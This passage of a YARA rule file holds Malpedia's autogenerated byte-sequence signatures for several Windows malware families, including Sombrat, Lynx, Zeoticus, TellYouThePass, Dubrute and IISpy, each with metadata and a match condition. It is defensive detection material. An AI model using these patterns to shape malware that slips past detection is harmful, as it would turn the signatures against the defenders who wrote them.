		$sequence_8 = { 85f6 745e 687c010000 56 ff75e8 ff15???????? }
		$sequence_9 = { 85c0 7510 807eff2d 7406 807eff2e 7502 eb02 }
	condition:
		7 of them and filesize < 194560
}

rule MALPEDIA_Win_Sombrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d0dde23d-377f-5d10-8911-6d96e1813650"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sombrat_auto.yar#L1-L152"
		license_url = "N/A"
		logic_hash = "941d1381587fea594c21f438f9e9d8395ac2ab22b349124a0b48a1b28fcdbcbd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 014114 8b7508 837df800 8b5df4 0f84c3feffff }
		$sequence_1 = { 833d????????10 b9???????? 0f430d???????? 51 8bc8 }
		$sequence_2 = { 01041e 8b4508 42 8d7308 }
		$sequence_3 = { 0145e4 8b55f8 83c40c 294644 }
		$sequence_4 = { 014620 f6460c04 8945e0 742d 85c0 7429 8b4de4 }
		$sequence_5 = { 0000 e8???????? c70424???????? 8d5f0c 68???????? }
		$sequence_6 = { 014620 ff36 114e24 8b442434 }
		$sequence_7 = { 0144244a 894e0c ffb72c010000 ff15???????? }
		$sequence_8 = { 016b08 33c0 e9???????? 33ff }
		$sequence_9 = { 01448c20 48ffc1 493bc9 7cf1 }
		$sequence_10 = { 016b08 488d05dc980500 41b9e7160000 4889442420 }
		$sequence_11 = { 015f08 33c0 e9???????? 488b4760 }
		$sequence_12 = { 0145f1 4533c9 4533c0 488b16 }
		$sequence_13 = { 015f08 488bcf e8???????? 8bf0 }
		$sequence_14 = { 015f08 33c0 488b4c2470 4833cc }
		$sequence_15 = { 015f08 83bfd800000016 0f856c020000 488b87c8000000 }
	condition:
		7 of them and filesize < 1466368
}

rule MALPEDIA_Win_Rockloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "104e8d35-82fc-516a-9593-bcf9bbbb834c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rockloader_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "64906b80f87c45698d39208b0d7a3080387e28b93568b203b7e0595d5362c76c"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { dc4dec 83650800 dec9 dd5dec dd45ec dd5918 9b }
		$sequence_1 = { 40 8a0c30 3acb 75f3 8a0c30 3acb 7413 }
		$sequence_2 = { c3 80f961 7c0d 80f966 7f08 0fbec9 8d44c1a9 }
		$sequence_3 = { c0e204 240f 02d0 8817 }
		$sequence_4 = { 80383a 75b7 40 e8???????? 50 }
		$sequence_5 = { 46 80382d 750a dd05???????? 40 dd5de4 }
		$sequence_6 = { 7f09 0fbec9 8d44c1d0 eb24 80f941 7c0e 80f946 }
		$sequence_7 = { 5d c20400 e8???????? 85c0 7407 c7400c05000000 c3 }
		$sequence_8 = { 6a02 58 e8???????? 8bf8 85ff 0f84a9feffff 837d1000 }
		$sequence_9 = { 48 746a 48 744e }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Lynx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f38e4f00-aaca-5bf9-869c-83083f4fee5c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lynx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lynx_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "830d0c044d086e873e93b41654d3296d5d83edd7251c856a6c1b1da8daa3d504"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4dec 0f1145ec e8???????? b90f000000 8d87bf000000 }
		$sequence_1 = { 23d1 8b7df4 8bde 8955dc 81f3ffffff03 8b55f0 f7d3 }
		$sequence_2 = { 038580fcffff 038574fdffff 898548fdffff 8d0433 898528fdffff 8b8558fdffff }
		$sequence_3 = { e9???????? 83bb6801000000 8b4320 894308 8b4324 c7433400000000 89430c }
		$sequence_4 = { 8d4010 83fa0a 72dc 8b8d0cffffff 2b0f 8b8510ffffff 1b4704 }
		$sequence_5 = { ff15???????? 50 ff15???????? 85c0 0f84db000000 8b5dc0 }
		$sequence_6 = { 41 81f901010000 7ced 8a8619834200 88843319010000 46 81fe00010000 }
		$sequence_7 = { 89957cfcffff 899578fcffff 899de4fcffff 81bd3cfdffff80020000 8bbd1cfdffff 89b5e8fcffff 8bb538fdffff }
		$sequence_8 = { c1e10e 0b8d28fdffff 318d68fdffff 8b8d74fcffff c1e112 0b8d24fdffff }
		$sequence_9 = { ff750c 57 6a01 53 ff15???????? 50 53 }
	condition:
		7 of them and filesize < 363520
}

rule MALPEDIA_Win_Lambload_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ceafeacb-8aed-52b1-8cc4-bc13d9e4ebc5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambload"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambload_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "bbe1c88e2fad81661a6dd79b8985da064315d8e7bbf36d0a65857b53079669fb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 6a02 8bf9 c785c0fbffff04010000 ff15???????? }
		$sequence_1 = { f3a4 ffb5c4fbffff ff15???????? 8d7bfe }
		$sequence_2 = { 0f8468ffffff 8d85f4fdffff 50 e8???????? }
		$sequence_3 = { c70009000000 ebc5 8bc3 c1f805 8d3c8500490710 8bf3 83e61f }
		$sequence_4 = { 8a00 88443dfc 8a5dfd 47 ff4508 }
		$sequence_5 = { 33c9 3bc7 0f95c1 894604 8d41ff 8b4dfc 5f }
		$sequence_6 = { 394510 7241 6a04 5b 7705 }
		$sequence_7 = { 59 8945e0 85c0 7461 8d0cbd00490710 }
		$sequence_8 = { 8bff 56 57 33ff ffb7602b0710 }
		$sequence_9 = { 6685c9 75f4 8b4dfc 8bfb 8bf0 }
	condition:
		7 of them and filesize < 1039360
}

rule MALPEDIA_Win_Zeoticus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e7b44470-c2f9-5eee-bb9d-e8020120bbe3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeoticus_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "9c3c5f162f682b504ac63e5a0d758fab5141989ce6052830dd9338be25cf4ff1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 660f6e9c248c000000 660f62d8 0f29942490000000 660f6e942414010000 660f62ca 660f6e9424a0000000 0f295c2410 }
		$sequence_1 = { b9d0fe4bac e8???????? 83c408 a3???????? 6a00 6a00 }
		$sequence_2 = { 660feff0 8345f010 0f117710 8345ec10 83c720 0f1002 }
		$sequence_3 = { 8d8690101000 8bd7 8d8ee8101000 50 83ec08 e8???????? }
		$sequence_4 = { 0f286c2430 660fd4e0 0f29bc2490000000 660f73d03f 660f6eff 660fefe0 660f3a0fdd08 }
		$sequence_5 = { 8b842498010000 898424f0000000 8b84249c010000 898424f4000000 8b8424a0010000 898424f8000000 8b8424a4010000 }
		$sequence_6 = { 8b4618 314718 8b461c 31471c 8b4620 }
		$sequence_7 = { 50 6a00 ff15???????? 85c0 0f84e7000000 33db 33c9 }
		$sequence_8 = { 8b7020 03f3 0f1f4000 8b06 bac59d1c81 03c3 }
		$sequence_9 = { 0f295c2410 0f28442410 660f62c1 660fd4c6 660f6ec9 660fd4c5 660f62ca }
	condition:
		7 of them and filesize < 468992
}

rule MALPEDIA_Win_Concealment_Troy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "85d5c577-b8ec-58e5-9740-0a0ca10b0ae9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.concealment_troy_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "b00daac439b94b56b64f9d02955d44b706d6186abc3a4c26b1bfb61dd4d222d0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c744244000000000 ff15???????? 85c0 0f844cffffff 8b542424 }
		$sequence_1 = { 7530 8b54240c 52 ff15???????? 53 }
		$sequence_2 = { 8bc8 83e103 f3a4 8d542418 8d8c2430090000 e8???????? 85c0 }
		$sequence_3 = { 3acb 75f6 6804010000 8d8c2424010000 53 }
		$sequence_4 = { f3a5 66a5 83c40c a4 8d4c2418 8d642400 8a01 }
		$sequence_5 = { 85c0 0f8476ffffff 6a00 6a08 6a00 }
		$sequence_6 = { e8???????? 83c414 ebd0 8bc8 c1f905 8d3c8da0774100 }
		$sequence_7 = { 8d8c2470050000 68???????? 51 e8???????? 8d842478050000 83c418 8d5001 }
		$sequence_8 = { b87c130000 e8???????? a1???????? 33c4 89842478130000 53 }
		$sequence_9 = { 52 889c242c010000 e8???????? 6807020000 8d842441090000 53 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Lowball_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "54da57b9-ab1c-5339-aa9f-22bb43699408"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowball_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "6556d6fae2a4a8629aa4a1cdf4ec37ace65e626c581801de62deac1b596c79de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f848d000000 8d842434070000 68???????? }
		$sequence_1 = { 8d4b01 51 e8???????? 56 }
		$sequence_2 = { 85f6 89742410 0f84bf000000 8b8c241c020000 }
		$sequence_3 = { 6810270000 ff15???????? bf???????? 83c9ff }
		$sequence_4 = { 0f840c010000 8b8c2424020000 53 55 55 }
		$sequence_5 = { 896c2418 c744242400020000 aa e8???????? 55 }
		$sequence_6 = { 84c0 750b 33c0 81c4400e0000 c21000 }
		$sequence_7 = { 68???????? e8???????? 83c410 85c0 0f848d000000 8d842434070000 }
		$sequence_8 = { 85c0 752d 68b80b0000 ffd3 8d84242c050000 8d8c241c010000 50 }
		$sequence_9 = { 8b742420 53 ff15???????? 5b 56 ff15???????? 8b44240c }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Shipshape_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d9d684b1-6d28-5be9-a8dd-2a5e64ca3d0c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shipshape_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "7ccbb1b47c0ba6ada9222b7cb4a37cd39065499a023a5e14e23083e9a19aaeee"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d9424f8010000 c1e902 f3a5 8bc8 }
		$sequence_1 = { 83f843 7c55 50 e8???????? }
		$sequence_2 = { 8bf7 c1f805 83e61f 8d1c8560d54000 c1e603 }
		$sequence_3 = { 83e11f 8b3cbd60d54000 8d3ccf eb05 bf???????? }
		$sequence_4 = { f3a5 8bcd 8d942434030000 83e103 f3a4 8dbc2434020000 83c9ff }
		$sequence_5 = { 808801c4400008 40 3dff000000 72f1 }
		$sequence_6 = { 8bbc2410020000 83c9ff 33c0 8d54240c f2ae }
		$sequence_7 = { 55 ff15???????? 5d 5b 81c440060000 c3 56 }
		$sequence_8 = { 0f8430010000 8dbc2434010000 83c9ff 33c0 8d9424b4010000 }
		$sequence_9 = { 52 50 e8???????? 8b4c241c 8b542418 }
	condition:
		7 of them and filesize < 338386
}

rule MALPEDIA_Win_Lunchmoney_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba6c488f-494f-59a0-832f-5ecc104022f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lunchmoney_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "6300f50e09ecd16cc8482866a3984ff2f46b18e4b4ec53df6a00261299e6917f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d4da8 e8???????? 89759c }
		$sequence_1 = { 214610 c7461407000000 668906 68???????? c645fc0b e8???????? }
		$sequence_2 = { c1e106 8b048550914200 88540804 8b0f }
		$sequence_3 = { 3b4e04 7411 57 8bf8 }
		$sequence_4 = { 8b9df0efffff 2b7008 037004 6a00 8b049d50914200 5b f644010480 }
		$sequence_5 = { e9???????? 8365e500 8d45e4 6a0a 50 57 }
		$sequence_6 = { 8b5584 0500040000 41 3bc2 76f6 8bf1 }
		$sequence_7 = { 83c410 8b048550914200 3b740128 0f85b9010000 3b54012c 0f85af010000 }
		$sequence_8 = { e8???????? 83c430 3c01 0f8584000000 83ec18 }
		$sequence_9 = { 85c0 757c 837dec00 7476 8b55f4 8b049550914200 f644180448 }
	condition:
		7 of them and filesize < 373760
}

rule MALPEDIA_Win_Snake_Disk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "86a91047-7721-509e-9428-5943ccd33d29"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snake_disk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snake_disk_auto.yar#L1-L93"
		license_url = "N/A"
		logic_hash = "e3a90a61952999ecca57fcbf79005364fd6ba06d48c543b4f3fe48fb8c119e3f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 898558ffffff 85c0 0f84a30b0000 }
		$sequence_1 = { e8???????? 898548ffffff 8b08 8b8184010000 8d4db4 898544ffffff 397dac }
		$sequence_2 = { e8???????? 898550ffffff 897dbc 3bf8 }
		$sequence_3 = { e8???????? 89855cffffff ff7720 e8???????? }
		$sequence_4 = { e8???????? 898560ffffff 85c0 0f8410070000 }
		$sequence_5 = { e8???????? 898550ffffff 59 59 }
		$sequence_6 = { e8???????? 89855cffffff 85c0 7874 }
		$sequence_7 = { e8???????? 898550ffffff 85c0 0f84a4000000 }
	condition:
		7 of them and filesize < 28734464
}

rule MALPEDIA_Win_Dubrute_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b3f57fb-3926-53bd-845a-86ae7ddb65ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dubrute_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "15ef5a601ee94177845777a653e057c97a84bc2521287b368cd711d048d0bf0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8d85d0fcffff bfff000000 50 57 ff15???????? 8d85d0fcffff }
		$sequence_1 = { ff7514 8b8674090000 ff7510 ff750c ff7008 e8???????? 83c410 }
		$sequence_2 = { 55 8bec 83ec24 56 57 6a0c 8d45f4 }
		$sequence_3 = { 395008 7510 8b4808 3bca 7c09 83f907 7f04 }
		$sequence_4 = { e9???????? 8d45fc 50 53 e8???????? 59 85c0 }
		$sequence_5 = { 8b8040000100 83b81804000000 741e 837df800 7418 83b80c04000008 7e0f }
		$sequence_6 = { 894508 8d8564ffffff 6a01 50 8d4dc8 ff15???????? db4508 }
		$sequence_7 = { ff7508 50 e8???????? 8bf0 8d7de8 }
		$sequence_8 = { 8bf0 8d7df0 a5 a5 a5 8b75f0 83c43c }
		$sequence_9 = { 0f8cce000000 83650800 837f0400 8b7510 bb???????? 7e70 8b07 }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Deltas_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71773355-27de-50f9-b937-a4b31a08be87"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltas_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "110bf37db48ce7c93aacf644fe14f61a7699258651c7d440500f0fe2335e7ad7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 56 8bf1 57 b940000000 33c0 }
		$sequence_1 = { 55 53 ff15???????? 85c0 7419 }
		$sequence_2 = { 66ab 8d8c247c010000 6804010000 51 c64424146d }
		$sequence_3 = { eb45 8b8c249c000000 8d442454 8d7c2454 bd10000000 8d7102 }
		$sequence_4 = { 85c0 0f8485010000 8b9884000000 8b8888000000 81c38c000000 83f906 0f8733010000 }
		$sequence_5 = { c1ef14 c1e10c 0bf9 8b4828 03fe 894c2438 8bcf }
		$sequence_6 = { 8b7824 03f3 897c241c 8bfe 23ee f7d7 }
		$sequence_7 = { 88442423 8d442408 b164 b261 50 c644240c6b c644240e72 }
		$sequence_8 = { 3bc3 7413 8d542438 52 8b542444 53 53 }
		$sequence_9 = { 750e 8d4c2464 51 ffd6 898424c0000000 8d9424b0000000 52 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Iispy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4e322e5f-cd33-52bd-bbf3-6439753e827c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iispy_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "a87fdac5aecf4afd1bb012fec4f493869a7cd5fec753856e83872c6436c79acf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 837c242400 8bf8 740c ff742428 e8???????? 83c404 }
		$sequence_1 = { 03d8 eb49 b8d34d6210 f7e3 8bca 8b5514 c1e906 }
		$sequence_2 = { 50 8d4110 50 8d4129 50 }
		$sequence_3 = { 8b048528cf0210 0fb6440828 83e040 5d c3 e8???????? c70009000000 }
		$sequence_4 = { 84c0 0f8429010000 8b4c2408 83c620 8b01 c1e005 }
		$sequence_5 = { b81f85eb51 f7eb 5f c1fa05 8bca c1e91f 03ca }
		$sequence_6 = { 6a01 53 ff15???????? ebe0 b80d000780 5f 5e }
		$sequence_7 = { 68000000c0 57 ff15???????? 8bf8 83ffff 74c5 8b4dec }
		$sequence_8 = { 3245f0 32ec 3245e4 3245e0 3245e8 3245d0 3245ff }
		$sequence_9 = { 50 e8???????? 83a628cf021000 59 83c604 81fe00020000 72dd }
	condition:
		7 of them and filesize < 397312
}

rule MALPEDIA_Win_Tellyouthepass_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "354e0e6c-ccce-5215-81be-86e86c2d035f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tellyouthepass_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "dc25f522d82a6df0aaae3de9d80ac3b6a17f46baeb51d065b8c3d1eda2c481dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b0d???????? eb0a 488b4c2448 488b5c2420 48894c2440 48895c2428 488d050b4e1000 }
		$sequence_1 = { 4d85c0 7f1d 488b8c24f0000000 488b9424f8000000 488b9c24a8010000 e9???????? 4889bc2418010000 }
		$sequence_2 = { f20f10442440 e8???????? 488d051a1f1a00 bb0c000000 6690 e8???????? e8???????? }
		$sequence_3 = { 80f902 7345 884c2417 0fb6d1 4889542420 48c1e206 488d35728f3000 }
		$sequence_4 = { 48c740102c000000 833d????????00 750d 488d0d57b70600 48894808 eb10 488d7808 }
		$sequence_5 = { 4c8b4028 4c8b4830 4c8b5020 488dbc2490010000 488d3585530b00 48896c24f0 488d6c24f0 }
		$sequence_6 = { 6690 eb10 488d7a70 488d155b4b0d00 e8???????? 90 488b15???????? }
		$sequence_7 = { bb06000000 90 e8???????? 488b442410 e8???????? 488d0525631700 bb0b000000 }
		$sequence_8 = { eb09 4889c7 90 e8???????? 488d0514690e00 488b5c2438 488d0d73e11000 }
		$sequence_9 = { eb14 488d7818 488b8c24c0020000 0f1f00 e8???????? 48c740100b000000 488d0d9ed01300 }
	condition:
		7 of them and filesize < 7152640
}

rule MALPEDIA_Win_Tigerlite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "119827aa-8530-5cae-8d65-e56592a0b2d2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tigerlite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tigerlite_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "b688ea808508193aa1c7d4aa7527d4ad25741bc4cd2a88205c0fc518db087920"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bf8 4883f8ff 7520 488d15e1c50100 488bce e8???????? }
		$sequence_1 = { 4885c0 0f84a9010000 488bc8 ff15???????? 488d1520ad0000 }
		$sequence_2 = { 803c0700 75f7 488d4f01 4d8bce }
		$sequence_3 = { 2bca 8d95e0f9ffff 8d7201 8a02 42 }
		$sequence_4 = { 50 e8???????? 83c40c c645f400 833d????????00 c745f500000000 }
		$sequence_5 = { e8???????? 4c8d4530 8d5614 488d0defa70100 897530 e8???????? 8b5530 }
		$sequence_6 = { ff15???????? 8bf8 e9???????? 8b8528e5ffff 8b0c85489d4100 8b8524e5ffff }
		$sequence_7 = { 0fbec2 0fbe80d8214100 83e00f eb02 33c0 }
		$sequence_8 = { 8d859cf2ffff 03c1 8b8d24e5ffff 50 8b8528e5ffff 8b0485489d4100 ff3401 }
		$sequence_9 = { 50 8b0495489d4100 ff3418 ff15???????? 85c0 750a }
		$sequence_10 = { 488bfa 488bd9 488d0549e90000 488981a0000000 83611000 }
		$sequence_11 = { 8a06 46 88441905 8b45f4 83fa02 7c11 8b0c85489d4100 }
		$sequence_12 = { ff742414 8b442420 03c6 57 }
		$sequence_13 = { 785b 8bc3 2503000080 7d07 }
		$sequence_14 = { 0fb605???????? 488bf9 88442428 e8???????? 4885c0 0f8422010000 }
		$sequence_15 = { c3 33d2 41b800040000 488bc8 }
	condition:
		7 of them and filesize < 349184
}

